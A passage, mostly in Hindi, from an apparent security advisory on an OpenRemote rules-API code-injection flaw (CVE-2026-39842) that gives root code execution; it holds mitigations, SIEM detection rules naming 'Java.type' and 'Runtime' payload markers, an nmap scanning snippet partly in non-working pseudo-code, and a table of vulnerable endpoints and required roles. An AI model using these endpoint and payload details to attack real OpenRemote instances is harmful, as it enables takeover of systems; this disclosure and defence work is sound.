  • संवेदनशील एंडपॉइंट्स पर अनुरोध दर सीमित करना सक्षम करें
  • अनुरोध आकार सीमाएँ लागू करें
  • सभी उपयोगकर्ता इनपुट को सख्ती से मान्य करें

4. निगरानी और अलर्टिंग

SIEM डिटेक्शन नियम तैनात करें:``` Alert on:

  • Any POST to /api//rules/ endpoints with JavaScript content
  • Java.type or Runtime in request body
  • Multiple rule creation attempts in short time window
  • Rule modification by non-admin users
  • Unusual process spawning from OpenRemote JVM
root@kitploit:~
**5. घटना प्रतिक्रिया योजना**

घटना प्रतिक्रिया प्रक्रियाएँ बनाएँ और उनका परीक्षण करें:

- समझौता किए गए OpenRemote इंस्टेंस के लिए अलगाव चरण
- फोरेंसिक संग्रह प्रक्रियाएँ
- प्रभावित ग्राहकों के लिए अधिसूचना प्रक्रियाएँ
- पुनर्प्राप्ति और सफाई प्रक्रियाएँ
- घटना के बाद की समीक्षाएँ

**6. निरंतर निगरानी**

निरंतर सुरक्षा निगरानी लागू करें:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi

संदर्भ

  • आधिकारिक सलाह: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
  • CVE रिकॉर्ड: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
  • NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
  • OpenRemote रिपॉजिटरी: https://github.com/openremote/openremote
  • OpenRemote सुरक्षा: https://openremote.io/security
  • CWE-94 कोड इंजेक्शन: https://cwe.mitre.org/data/definitions/94.html
  • CWE-917 EL इंजेक्शन: https://cwe.mitre.org/data/definitions/917.html
  • CVSS कैलकुलेटर: https://www.first.org/cvss/calculator/3.1
  • Nashorn सुरक्षा: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
  • Java SecurityManager: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

लेखक

केरेम ओरुक

सुरक्षा शोधकर्ता, भेद्यता प्रकटीकरण

इस भेद्यता के संबंध में प्रश्नों, रिपोर्टों या अतिरिक्त जानकारी के लिए, कृपया जिम्मेदार प्रकटीकरण चैनलों के माध्यम से लेखक से संपर्क करें।


अंतिम अद्यतन: 2026-04-16 संस्करण: 1.0 स्थिति: सार्वजनिक

टूल डाउनलोड करें
पहलूविवरण
CVE IDCVE-2026-39842
GHSA IDGHSA-7mqr-33rv-p3mp
भेद्यता प्रकारकोड इंजेक्शन / एक्सप्रेशन लैंग्वेज इंजेक्शन
CVSS स्कोर10.0 (क्रिटिकल)
CWECWE-94, CWE-917
उत्पादOpenRemote
प्रभावित संस्करण<= 1.21.0
फिक्स्ड संस्करण>= 1.22.0
प्रमाणीकरण आवश्यकहाँ
आवश्यक विशेषाधिकार स्तरwrite:rules भूमिका (गैर-सुपरयूज़र)
कमजोर एंडपॉइंटPOST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset
RCE निष्पादन स्तरroot
शोषण क्षमताउच्च
जटिलतानिम्न
खोज तिथि2026